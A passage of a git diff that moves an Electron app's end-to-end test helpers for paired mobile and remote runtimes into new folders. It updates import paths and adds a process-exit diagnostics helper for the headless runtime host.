'./helpers/paired-electron-client' -import { decodePairingOffer } from '../../src/shared/remote-runtime/pairing/pairing' -import { pairedRuntimeConnectionFromOffer } from '../../src/shared/remote-runtime/pairing/paired-runtime-connection' -import { sendRemoteRuntimeRequestOnSocket } from '../../src/shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' +} from '../../terminal/layout/terminal-pane-operations' +import { ensureTerminalVisible, waitForSessionReady } from '../../desktop/renderer-probes/store' +import { createRuntimeDesktopPairingOffer } from '../paired-runtime/client-hosts/paired-electron-client' +import { decodePairingOffer } from '../../../../src/shared/remote-runtime/pairing/pairing' +import { pairedRuntimeConnectionFromOffer } from '../../../../src/shared/remote-runtime/pairing/paired-runtime-connection' +import { sendRemoteRuntimeRequestOnSocket } from '../../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' +import { subscribeRemoteRuntimeTransport } from '../../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' import { TerminalStreamOpcode, decodeTerminalStreamFrame, decodeTerminalStreamJson -} from '../../src/shared/terminal/stream/terminal-stream-protocol' +} from '../../../../src/shared/terminal/stream/terminal-stream-protocol' const PHONE = { cols: 47, rows: 40 } diff --git a/tests/e2e/helpers/paired-mobile-client.ts b/tests/e2e/remote/mobile-mirror/paired-mobile-client.ts similarity index 81% rename from tests/e2e/helpers/paired-mobile-client.ts rename to tests/e2e/remote/mobile-mirror/paired-mobile-client.ts index 4c833b008fc..fa43ad4897b 100644 --- a/tests/e2e/helpers/paired-mobile-client.ts +++ b/tests/e2e/remote/mobile-mirror/paired-mobile-client.ts @@ -1,26 +1,26 @@ -import { MOBILE_RUNTIME_CLIENT_CAPABILITIES } from '../../../mobile/src/transport/connection/mobile-runtime-client-capabilities' -import { pairedRuntimeConnectionFromOffer } from '../../../src/shared/remote-runtime/pairing/paired-runtime-connection' -import { decodePairingOffer } from '../../../src/shared/remote-runtime/pairing/pairing' -import type { PairingOffer } from '../../../src/shared/remote-runtime/pairing/mobile-relay-pairing-offer' -import { sendRemoteRuntimeRequestOnSocket } from '../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' +import { MOBILE_RUNTIME_CLIENT_CAPABILITIES } from '../../../../mobile/src/transport/connection/mobile-runtime-client-capabilities' +import { pairedRuntimeConnectionFromOffer } from '../../../../src/shared/remote-runtime/pairing/paired-runtime-connection' +import { decodePairingOffer } from '../../../../src/shared/remote-runtime/pairing/pairing' +import type { PairingOffer } from '../../../../src/shared/remote-runtime/pairing/mobile-relay-pairing-offer' +import { sendRemoteRuntimeRequestOnSocket } from '../../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' +import { subscribeRemoteRuntimeTransport } from '../../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' import type { RemoteRuntimeTransportSubscription, RemoteRuntimeTransportSubscriptionCallbacks -} from '../../../src/shared/remote-runtime/requests/remote-runtime-subscription-contract' -import type { RuntimeRpcResponse } from '../../../src/shared/remote-runtime/rpc/runtime-rpc-envelope' -import { openRemoteRuntimePassthroughSocket } from '../../../src/shared/remote-runtime/remote-runtime-passthrough-socket' -import type { RuntimeCapability } from '../../../src/shared/remote-runtime/protocol/protocol-version' +} from '../../../../src/shared/remote-runtime/requests/remote-runtime-subscription-contract' +import type { RuntimeRpcResponse } from '../../../../src/shared/remote-runtime/rpc/runtime-rpc-envelope' +import { openRemoteRuntimePassthroughSocket } from '../../../../src/shared/remote-runtime/remote-runtime-passthrough-socket' +import type { RuntimeCapability } from '../../../../src/shared/remote-runtime/protocol/protocol-version' import { decodeBrowserScreencastFrame, type BrowserScreencastFrame -} from '../../../src/shared/browser/screencast/browser-screencast-protocol' +} from '../../../../src/shared/browser/screencast/browser-screencast-protocol' import { decodeTerminalStreamFrame, decodeTerminalStreamText, TerminalStreamOpcode -} from '../../../src/shared/terminal/stream/terminal-stream-protocol' -import type { RuntimeDesktopPairingOffer } from './paired-electron-client' +} from '../../../../src/shared/terminal/stream/terminal-stream-protocol' +import type { RuntimeDesktopPairingOffer } from '../paired-runtime/client-hosts/paired-electron-client' const DEFAULT_TIMEOUT_MS = 15_000 diff --git a/tests/e2e/paired-mobile-desktop-mirror-files-git-review.spec.ts b/tests/e2e/remote/mobile-mirror/paired-mobile-desktop-mirror-files-git-review.spec.ts similarity index 95% rename from tests/e2e/paired-mobile-desktop-mirror-files-git-review.spec.ts rename to tests/e2e/remote/mobile-mirror/paired-mobile-desktop-mirror-files-git-review.spec.ts index c6a06752132..9a51e72b1e1 100644 --- a/tests/e2e/paired-mobile-desktop-mirror-files-git-review.spec.ts +++ b/tests/e2e/remote/mobile-mirror/paired-mobile-desktop-mirror-files-git-review.spec.ts @@ -4,9 +4,10 @@ import { existsSync, mkdirSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { launchPhoneMirrorTopology } from './helpers/phone-mirror-topology' -import type { PairedMobileSocket } from './helpers/paired-mobile-client' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchPhoneMirrorTopology } from './phone-mirror-topology' +import type { PairedMobileSocket } from './paired-mobile-client' type Frame = PairedMobileSocket['frames'][number] diff --git a/tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts b/tests/e2e/remote/mobile-mirror/paired-mobile-serve-restart-terminal-tabs.spec.ts similarity index 86% rename from tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts rename to tests/e2e/remote/mobile-mirror/paired-mobile-serve-restart-terminal-tabs.spec.ts index 017f44da7c6..e74df3b2d5e 100644 --- a/tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts +++ b/tests/e2e/remote/mobile-mirror/paired-mobile-serve-restart-terminal-tabs.spec.ts @@ -1,9 +1,10 @@ // #26022: after serve restart, retain CLI/agent daemon PTYs beside serve-minted terminals in both the phone’s first stream snapshot and tab list. -import { expect, test } from './helpers/orca-app' -import { launchPhoneMirrorTopology } from './helpers/phone-mirror-topology' -import type { PairedMobileClient } from './helpers/paired-mobile-client' -import type { RuntimeWorktreePsSummary } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchPhoneMirrorTopology } from './phone-mirror-topology' +import type { PairedMobileClient } from './paired-mobile-client' +import type { RuntimeWorktreePsSummary } from '../../../../src/shared/worktree/catalog/runtime-worktree-contracts' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' function sortedPtyIds(ids: (string | null | undefined)[]): string[] { return ids.flatMap((id) => (id ? [id] : [])).sort() diff --git a/tests/e2e/helpers/phone-feed-list.ts b/tests/e2e/remote/mobile-mirror/phone-feed-list.ts similarity index 83% rename from tests/e2e/helpers/phone-feed-list.ts rename to tests/e2e/remote/mobile-mirror/phone-feed-list.ts index 21b029893fd..4080a831713 100644 --- a/tests/e2e/helpers/phone-feed-list.ts +++ b/tests/e2e/remote/mobile-mirror/phone-feed-list.ts @@ -1,31 +1,31 @@ import { expect } from '@stablyai/playwright-test' import type { Page } from '@stablyai/playwright-test' -import { buildSidebarFeedRows } from '../../../src/shared/sidebar-list/feed/sidebar-feed-rows' -import { buildSidebarFeedCatalog } from '../../../src/shared/sidebar-list/catalog/sidebar-feed-catalog' -import { buildHostFeedView } from '../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-inputs' -import { buildHostFeedSections } from '../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-sections' -import { NO_WORKTREE_HOST_CONTEXT } from '../../../mobile/src/worktree/row-presentation/worktree-host-context-labels' +import { buildSidebarFeedRows } from '../../../../src/shared/sidebar-list/feed/sidebar-feed-rows' +import { buildSidebarFeedCatalog } from '../../../../src/shared/sidebar-list/catalog/sidebar-feed-catalog' +import { buildHostFeedView } from '../../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-inputs' +import { buildHostFeedSections } from '../../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-sections' +import { NO_WORKTREE_HOST_CONTEXT } from '../../../../mobile/src/worktree/row-presentation/worktree-host-context-labels' import { readHostSidebarFeed, type HostSidebarFeedRead -} from '../../../mobile/src/host-screen/sidebar-feed/use-host-sidebar-feed' -import { createHostSidebarFeedReader } from '../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-connection' -import { readHostMethodReply } from '../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-operations' -import type { SharedClientEventsClient } from '../../../mobile/src/transport/connection/shared-client-events' +} from '../../../../mobile/src/host-screen/sidebar-feed/use-host-sidebar-feed' +import { createHostSidebarFeedReader } from '../../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-connection' +import { readHostMethodReply } from '../../../../mobile/src/host-screen/sidebar-feed/host-sidebar-feed-operations' +import type { SharedClientEventsClient } from '../../../../mobile/src/transport/connection/shared-client-events' import { hostPlatformRead, hostViewSettingsRead -} from '../../../mobile/src/host-screen/host-screen-operations' -import { startHostWorktreeRefresh } from '../../../mobile/src/worktree/execution-hosts/host-worktree-refresh' +} from '../../../../mobile/src/host-screen/host-screen-operations' +import { startHostWorktreeRefresh } from '../../../../mobile/src/worktree/execution-hosts/host-worktree-refresh' import { INITIAL_MOBILE_VIEW, applyDesktopViewSettings, type WorkspaceViewSettings -} from '../../../mobile/src/worktree/workspace-list/workspace-view-settings' -import type { RpcResponse } from '../../../mobile/src/transport/rpc/rpc-wire-types' -import { NODE_PLATFORM_NAMES } from '../../../mobile/src/transport/connection/mobile-runtime-host-platform' -import type { LastVisitedWorktreeOnHost } from '../../../mobile/src/worktree/row-presentation/host-list-highlight' -import type { Section } from '../../../mobile/src/worktree/workspace-list/workspace-list-types' +} from '../../../../mobile/src/worktree/workspace-list/workspace-view-settings' +import type { RpcResponse } from '../../../../mobile/src/transport/rpc/rpc-wire-types' +import { NODE_PLATFORM_NAMES } from '../../../../mobile/src/transport/connection/mobile-runtime-host-platform' +import type { LastVisitedWorktreeOnHost } from '../../../../mobile/src/worktree/row-presentation/host-list-highlight' +import type { Section } from '../../../../mobile/src/worktree/workspace-list/workspace-list-types' import type { PairedMobileClient, PairedMobileSocket } from './paired-mobile-client' /** One line per row the list shows, in order: what the phone and the desktop sidebar must share. */ diff --git a/tests/e2e/helpers/phone-mirror-topology.ts b/tests/e2e/remote/mobile-mirror/phone-mirror-topology.ts similarity index 95% rename from tests/e2e/helpers/phone-mirror-topology.ts rename to tests/e2e/remote/mobile-mirror/phone-mirror-topology.ts index b0041fbb298..846b80d6a53 100644 --- a/tests/e2e/helpers/phone-mirror-topology.ts +++ b/tests/e2e/remote/mobile-mirror/phone-mirror-topology.ts @@ -2,12 +2,12 @@ import type { TestInfo } from '@stablyai/playwright-test' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './headless-paired-runtime-host' +} from '../paired-runtime/client-hosts/headless-paired-runtime-host' import { createDesktopMobilePairingOffer, launchPairedElectronClient, type PairedElectronClient -} from './paired-electron-client' +} from '../paired-runtime/client-hosts/paired-electron-client' import { pairMobileClient, type PairedMobileClient } from './paired-mobile-client' export type PhoneMirrorTopology = { diff --git a/tests/e2e/helpers/freezable-tcp-proxy.ts b/tests/e2e/remote/network-outages/freezable-tcp-proxy.ts similarity index 100% rename from tests/e2e/helpers/freezable-tcp-proxy.ts rename to tests/e2e/remote/network-outages/freezable-tcp-proxy.ts diff --git a/tests/e2e/helpers/client-hosted-runtime-relaunch.ts b/tests/e2e/remote/paired-runtime/client-hosts/client-hosted-runtime-relaunch.ts similarity index 88% rename from tests/e2e/helpers/client-hosted-runtime-relaunch.ts rename to tests/e2e/remote/paired-runtime/client-hosts/client-hosted-runtime-relaunch.ts index 4b07973730d..b83b74a76b1 100644 --- a/tests/e2e/helpers/client-hosted-runtime-relaunch.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/client-hosted-runtime-relaunch.ts @@ -1,5 +1,6 @@ -import { expect } from './orca-app' -import { readRestartRendererState } from './orca-restart' +import '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { readRestartRendererState } from '../../../desktop/electron-fixtures/orca-restart' import type { PairedElectronClient } from './paired-electron-client' export async function refreshAuthorityRuntimeId( diff --git a/tests/e2e/helpers/headless-paired-runtime-host.ts b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-host.ts similarity index 83% rename from tests/e2e/helpers/headless-paired-runtime-host.ts rename to tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-host.ts index e5054c5b00d..f74fa934aad 100644 --- a/tests/e2e/helpers/headless-paired-runtime-host.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-host.ts @@ -1,25 +1,25 @@ import { cpSync, existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import type { RmOptions } from 'node:fs' -import { createServer } from 'node:net' -import type { AddressInfo } from 'node:net' import os from 'node:os' import path from 'node:path' import { _electron as electron, type ElectronApplication } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../../src/cli/runtime/client' -import { getE2ECompletedOnboardingProfile } from './e2e-completed-onboarding-profile' -import { getOrcaElectronLaunchArgs } from './electron-launch-args' +import { RuntimeClient } from '../../../../../src/cli/runtime/client' +import { decodePairingOffer } from '../../../../../src/shared/remote-runtime/pairing/pairing' +import { getE2ECompletedOnboardingProfile } from '../../../desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { getOrcaElectronLaunchArgs } from '../../../desktop/electron-fixtures/electron-launch-args' import { cleanupE2EDaemons, closeElectronAppForE2E, stopServeElectronAppForE2E -} from './electron-process-shutdown' +} from '../../../desktop/electron-fixtures/electron-process-shutdown' import { assertElectronResolvedIsolatedHome, createElectronHomeIsolation -} from './electron-home-isolation' +} from '../../../desktop/electron-fixtures/electron-home-isolation' import type { RuntimeDesktopPairingOffer } from './paired-electron-client' import { readPairingOffer, readServeReadiness } from './headless-paired-runtime-serve-readiness' -import { retryTransientMainEvaluate } from './electron-main-evaluate-retry' +import { retryTransientMainEvaluate } from '../../../desktop/electron-fixtures/electron-main-evaluate-retry' +import { observeHeadlessPairedRuntimeProcessExit } from './headless-paired-runtime-process-exit' export type HeadlessPairedRuntimeHost = { /** Current serve process. Replaced by `restartServeProcess`, so always read it fresh. */ @@ -67,23 +67,6 @@ async function cleanupHeadlessHostResources(cleanups: HeadlessHostCleanup[]): Pr } } -// Reserve a stable port for relaunch; --serve-port 0 would strand clients on the previous endpoint. -async function reserveFreeLoopbackPort(): Promise { - const probe = createServer() - try { - await new Promise((resolve, reject) => { - probe.once('error', reject) - probe.listen(0, '127.0.0.1', () => { - probe.off('error', reject) - resolve() - }) - }) - return (probe.address() as AddressInfo).port - } finally { - await new Promise((resolve) => probe.close(() => resolve())) - } -} - export async function launchHeadlessPairedRuntimeHost( options: { agentBrowserSocketParent?: string @@ -102,9 +85,10 @@ export async function launchHeadlessPairedRuntimeHost( const userDataDir = mkdtempSync( path.join(options.userDataParent ?? os.tmpdir(), 'orca-e2e-headless-paired-') ) - const servePort = options.pinnedServePort === true ? await reserveFreeLoopbackPort() : 0 + let servePort = 0 let agentBrowserSocketDir: string | null = null let app: ElectronApplication | undefined + let stopProcessDiagnostics: (() => void) | undefined try { agentBrowserSocketDir = options.agentBrowserSocketParent ? mkdtempSync(path.join(options.agentBrowserSocketParent, 'orca-ab-')) @@ -130,8 +114,8 @@ export async function launchHeadlessPairedRuntimeHost( isolation.env.AGENT_BROWSER_SOCKET_DIR = agentBrowserSocketDir } const mainPath = path.join(process.cwd(), 'out', 'main', 'index.js') - const launchServeProcess = (): Promise => - electron.launch({ + const launchServeProcess = async (): Promise => { + const launched = await electron.launch({ ...(options.executablePath ? { executablePath: options.executablePath } : {}), args: [ ...(options.executablePath ? [] : getOrcaElectronLaunchArgs(mainPath, false)), @@ -145,6 +129,9 @@ export async function launchHeadlessPairedRuntimeHost( ], env: isolation.env }) + stopProcessDiagnostics = observeHeadlessPairedRuntimeProcessExit(launched) + return launched + } const launchedApp = await launchServeProcess() app = launchedApp const [offer] = await Promise.all([ @@ -153,6 +140,14 @@ export async function launchHeadlessPairedRuntimeHost( launchedApp.evaluate(({ app: electronApp }) => electronApp.getPath('home')) ).then((home) => assertElectronResolvedIsolatedHome(home, isolation)) ]) + if (options.pinnedServePort === true) { + const endpoint = new URL(decodePairingOffer(offer.pairingUrl).endpoint) + const port = Number(endpoint.port) + if (!Number.isInteger(port) || port <= 0 || port > 65535) { + throw new Error('Headless runtime pairing offer did not publish its bound port') + } + servePort = port + } let serveProcess = launchedApp // Do not re-close an app after failed relaunch or disposal can replace the launch error. let serveProcessOpen = true @@ -171,6 +166,7 @@ export async function launchHeadlessPairedRuntimeHost( 'restartServeProcess requires launchHeadlessPairedRuntimeHost({ pinnedServePort: true })' ) } + stopProcessDiagnostics?.() await stopServeElectronAppForE2E(serveProcess) serveProcessOpen = false await restartOptions.betweenProcesses?.() @@ -182,6 +178,7 @@ export async function launchHeadlessPairedRuntimeHost( dispose: async () => { const socketDir = agentBrowserSocketDir await cleanupHeadlessHostResources([ + () => stopProcessDiagnostics?.(), ...(serveProcessOpen ? [ () => @@ -210,6 +207,7 @@ export async function launchHeadlessPairedRuntimeHost( const socketDir = agentBrowserSocketDir try { await cleanupHeadlessHostResources([ + () => stopProcessDiagnostics?.(), ...(launchedApp ? [ () => diff --git a/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-process-exit.ts b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-process-exit.ts new file mode 100644 index 00000000000..473c96c1a56 --- /dev/null +++ b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-process-exit.ts @@ -0,0 +1,39 @@ +import type { ElectronApplication } from '@stablyai/playwright-test' +import { getElectronProcessForE2E } from '../../../desktop/electron-fixtures/electron-process-handle' +import { + formatHeadlessPairedRuntimeStartupDiagnostics, + HeadlessPairedRuntimeStartupDiagnosticBuffer +} from './headless-paired-runtime-serve-readiness' + +export function observeHeadlessPairedRuntimeProcessExit(app: ElectronApplication): () => void { + const child = getElectronProcessForE2E(app) + const stdout = new HeadlessPairedRuntimeStartupDiagnosticBuffer() + const stderr = new HeadlessPairedRuntimeStartupDiagnosticBuffer() + let stopped = false + const onStdout = (chunk: Buffer): void => stdout.append(chunk) + const onStderr = (chunk: Buffer): void => stderr.append(chunk) + const stop = (): void => { + stopped = true + child.stdout?.off('data', onStdout) + child.stderr?.off('data', onStderr) + child.off('exit', onExit) + } + const onExit = (code: number | null, signal: NodeJS.Signals | null): void => { + if (stopped) { + return + } + stop() + console.error( + '[headless-runtime-exit]', + JSON.stringify({ pid: child.pid, code, signal }), + formatHeadlessPairedRuntimeStartupDiagnostics(stdout.read(), stderr.read()) + ) + } + child.stdout?.on('data', onStdout) + child.stderr?.on('data', onStderr) + child.once('exit', onExit) + if (child.exitCode !== null || child.signalCode !== null) { + onExit(child.exitCode, child.signalCode) + } + return stop +} diff --git a/tests/e2e/helpers/headless-paired-runtime-serve-readiness.ts b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-serve-readiness.ts similarity index 97% rename from tests/e2e/helpers/headless-paired-runtime-serve-readiness.ts rename to tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-serve-readiness.ts index 06cfc26ef83..b0a24f3b4b3 100644 --- a/tests/e2e/helpers/headless-paired-runtime-serve-readiness.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-serve-readiness.ts @@ -1,4 +1,5 @@ import type { ElectronApplication } from '@stablyai/playwright-test' +import { getElectronProcessForE2E } from '../../../desktop/electron-fixtures/electron-process-handle' import type { RuntimeDesktopPairingOffer } from './paired-electron-client' type ServeReady = { @@ -120,7 +121,7 @@ export async function readServeReadiness( app: ElectronApplication, options: { requirePairingOffer: boolean } ): Promise { - const child = app.process() + const child = getElectronProcessForE2E(app) const stdout = child.stdout if (!stdout) { throw new Error('Headless runtime stdout is unavailable') diff --git a/tests/e2e/helpers/headless-paired-runtime-serve-readiness.unit.test.ts b/tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-serve-readiness.unit.test.ts similarity index 100% rename from tests/e2e/helpers/headless-paired-runtime-serve-readiness.unit.test.ts rename to tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-serve-readiness.unit.test.ts diff --git a/tests/e2e/helpers/nested-runtime-same-id-pairing.ts b/tests/e2e/remote/paired-runtime/client-hosts/nested-runtime-same-id-pairing.ts similarity index 94% rename from tests/e2e/helpers/nested-runtime-same-id-pairing.ts rename to tests/e2e/remote/paired-runtime/client-hosts/nested-runtime-same-id-pairing.ts index 5147aea4e15..c1c085d1419 100644 --- a/tests/e2e/helpers/nested-runtime-same-id-pairing.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/nested-runtime-same-id-pairing.ts @@ -1,6 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { updateEnvironmentFromPairingCode } from '../../../src/shared/remote-runtime/host-store/runtime-environment-store-operations' +import { updateEnvironmentFromPairingCode } from '../../../../../src/shared/remote-runtime/host-store/runtime-environment-store-operations' export type SameIdPairingReplacement = { environmentId: string diff --git a/tests/e2e/helpers/orca-serve-cli-host.ts b/tests/e2e/remote/paired-runtime/client-hosts/orca-serve-cli-host.ts similarity index 94% rename from tests/e2e/helpers/orca-serve-cli-host.ts rename to tests/e2e/remote/paired-runtime/client-hosts/orca-serve-cli-host.ts index 56fc2b63986..40bcc997fae 100644 --- a/tests/e2e/helpers/orca-serve-cli-host.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/orca-serve-cli-host.ts @@ -2,9 +2,9 @@ import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import { spawnProcess } from '@orca/process-host' -import { createElectronHomeIsolation } from './electron-home-isolation' -import { getE2ECompletedOnboardingProfile } from './e2e-completed-onboarding-profile' -import { resolveElectronExecutable } from './daemon-generation-runtime-fixture' +import { createElectronHomeIsolation } from '../../../desktop/electron-fixtures/electron-home-isolation' +import { getE2ECompletedOnboardingProfile } from '../../../desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { resolveElectronExecutable } from '../../../desktop/daemon-lifecycle/daemon-generation-runtime-fixture' export type CliServe = { userDataDir: string diff --git a/tests/e2e/helpers/packaged-old-orca.ts b/tests/e2e/remote/paired-runtime/client-hosts/packaged-old-orca.ts similarity index 94% rename from tests/e2e/helpers/packaged-old-orca.ts rename to tests/e2e/remote/paired-runtime/client-hosts/packaged-old-orca.ts index 0411e22fa67..ed7a787e704 100644 --- a/tests/e2e/helpers/packaged-old-orca.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/packaged-old-orca.ts @@ -10,21 +10,24 @@ import { type TestInfo } from '@stablyai/playwright-test' import { runProcess } from '@orca/process-host' -import { forwardElectronProcessLogs } from './orca-app' -import { getE2ECompletedOnboardingProfile } from './e2e-completed-onboarding-profile' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './electron-process-shutdown' +import { forwardElectronProcessLogs } from '../../../desktop/electron-fixtures/orca-app' +import { getE2ECompletedOnboardingProfile } from '../../../desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { + cleanupE2EDaemons, + closeElectronAppForE2E +} from '../../../desktop/electron-fixtures/electron-process-shutdown' import { assertElectronResolvedIsolatedHome, createElectronHomeIsolation -} from './electron-home-isolation' +} from '../../../desktop/electron-fixtures/electron-home-isolation' import type { RuntimeDesktopPairingOffer } from './paired-electron-client' -import type { OrcaCliResult } from './compiled-orca-cli' +import type { OrcaCliResult } from '../../../desktop/cli-invocation/compiled-orca-cli' import { isolatedServeProfile, spawnUntilReady, type ReadyProcess } from './orca-serve-cli-host' import { isHeadlessPairedRuntimeServeReadyLine, parseHeadlessPairedRuntimePairingOffer } from './headless-paired-runtime-serve-readiness' -import { RuntimeClient } from '../../../src/cli/runtime/client' +import { RuntimeClient } from '../../../../../src/cli/runtime/client' export const PACKAGED_EXECUTABLE_ENV = 'ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE' diff --git a/tests/e2e/helpers/paired-client-host-session.ts b/tests/e2e/remote/paired-runtime/client-hosts/paired-client-host-session.ts similarity index 91% rename from tests/e2e/helpers/paired-client-host-session.ts rename to tests/e2e/remote/paired-runtime/client-hosts/paired-client-host-session.ts index 0e287bd538e..f3de5e5e5f9 100644 --- a/tests/e2e/helpers/paired-client-host-session.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/paired-client-host-session.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' export async function callPairedRuntime( page: Page, diff --git a/tests/e2e/helpers/paired-client-runtime-environment.ts b/tests/e2e/remote/paired-runtime/client-hosts/paired-client-runtime-environment.ts similarity index 100% rename from tests/e2e/helpers/paired-client-runtime-environment.ts rename to tests/e2e/remote/paired-runtime/client-hosts/paired-client-runtime-environment.ts diff --git a/tests/e2e/helpers/paired-client-window-reveal.ts b/tests/e2e/remote/paired-runtime/client-hosts/paired-client-window-reveal.ts similarity index 100% rename from tests/e2e/helpers/paired-client-window-reveal.ts rename to tests/e2e/remote/paired-runtime/client-hosts/paired-client-window-reveal.ts diff --git a/tests/e2e/helpers/paired-electron-client.ts b/tests/e2e/remote/paired-runtime/client-hosts/paired-electron-client.ts similarity index 93% rename from tests/e2e/helpers/paired-electron-client.ts rename to tests/e2e/remote/paired-runtime/client-hosts/paired-electron-client.ts index 070a0f239f1..f741d6e9773 100644 --- a/tests/e2e/helpers/paired-electron-client.ts +++ b/tests/e2e/remote/paired-runtime/client-hosts/paired-electron-client.ts @@ -9,16 +9,19 @@ import { type TestInfo } from '@stablyai/playwright-test' -import type { ContextualTourId } from '../../../src/shared/feature-education/contextual-tours/contextual-tours' -import { getE2ECompletedOnboardingProfile } from './e2e-completed-onboarding-profile' -import { getOrcaElectronLaunchArgs } from './electron-launch-args' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './electron-process-shutdown' +import type { ContextualTourId } from '../../../../../src/shared/feature-education/contextual-tours/contextual-tours' +import { getE2ECompletedOnboardingProfile } from '../../../desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { getOrcaElectronLaunchArgs } from '../../../desktop/electron-fixtures/electron-launch-args' +import { + cleanupE2EDaemons, + closeElectronAppForE2E +} from '../../../desktop/electron-fixtures/electron-process-shutdown' import { assertElectronResolvedIsolatedHome, createElectronHomeIsolation -} from './electron-home-isolation' -import { retryTransientMainEvaluate } from './electron-main-evaluate-retry' -import { forwardElectronProcessLogs } from './orca-app' +} from '../../../desktop/electron-fixtures/electron-home-isolation' +import { retryTransientMainEvaluate } from '../../../desktop/electron-fixtures/electron-main-evaluate-retry' +import { forwardElectronProcessLogs } from '../../../desktop/electron-fixtures/orca-app' import { replaceRuntimePairingInPlace, type SameIdPairingReplacement @@ -26,10 +29,6 @@ import { import { createPairedWebClientUrl, type PairedWebClientOptions } from './paired-web-client-url' import { selectPairedRuntimeEnvironment } from './paired-client-runtime-environment' -export { rePairPairedElectronClient } from './paired-client-runtime-environment' - -export type { SameIdPairingReplacement } from './nested-runtime-same-id-pairing' - export type PairedElectronClient = { app: ElectronApplication page: Page diff --git a/tests/e2e/helpers/paired-web-client-url.ts b/tests/e2e/remote/paired-runtime/client-hosts/paired-web-client-url.ts similarity index 100% rename from tests/e2e/helpers/paired-web-client-url.ts rename to tests/e2e/remote/paired-runtime/client-hosts/paired-web-client-url.ts diff --git a/tests/e2e/helpers/nested-runtime-ssh-client-route.ts b/tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-client-route.ts similarity index 95% rename from tests/e2e/helpers/nested-runtime-ssh-client-route.ts rename to tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-client-route.ts index 6d0ac4fbffe..363a78017e7 100644 --- a/tests/e2e/helpers/nested-runtime-ssh-client-route.ts +++ b/tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-client-route.ts @@ -1,10 +1,12 @@ -import { expect } from './orca-app' +import '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import type { createRuntimeDesktopPairingOffer, PairedElectronClient -} from './paired-electron-client' -import { focusActiveTerminalInput, getTerminalContent, waitForActivePanePtyId } from './terminal' -import { worktreeRowSurface } from '../worktree-row-locators' +} from '../client-hosts/paired-electron-client' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../../../terminal/input/terminal' +import { getTerminalContent } from '../../../terminal/layout/terminal-pane-identity' +import { worktreeRowSurface } from '../../../workspaces/sidebar/worktree-row-locators' export type ProjectedWorktreeRoute = { worktreeId: string @@ -16,8 +18,8 @@ export type ProjectedWorktreeRoute = { runtimeSshState: string | null } -export { assertNestedFilesystemRoute } from './nested-runtime-ssh-filesystem-route' -export { assertPairedTerminalCreation } from './nested-runtime-ssh-terminal-creation' +import './nested-runtime-ssh-filesystem-route' +import './nested-runtime-ssh-terminal-creation' export function terminalMarkerCommand(marker: string): string { const encoded = [...marker] diff --git a/tests/e2e/helpers/nested-runtime-ssh-filesystem-route.ts b/tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-filesystem-route.ts similarity index 94% rename from 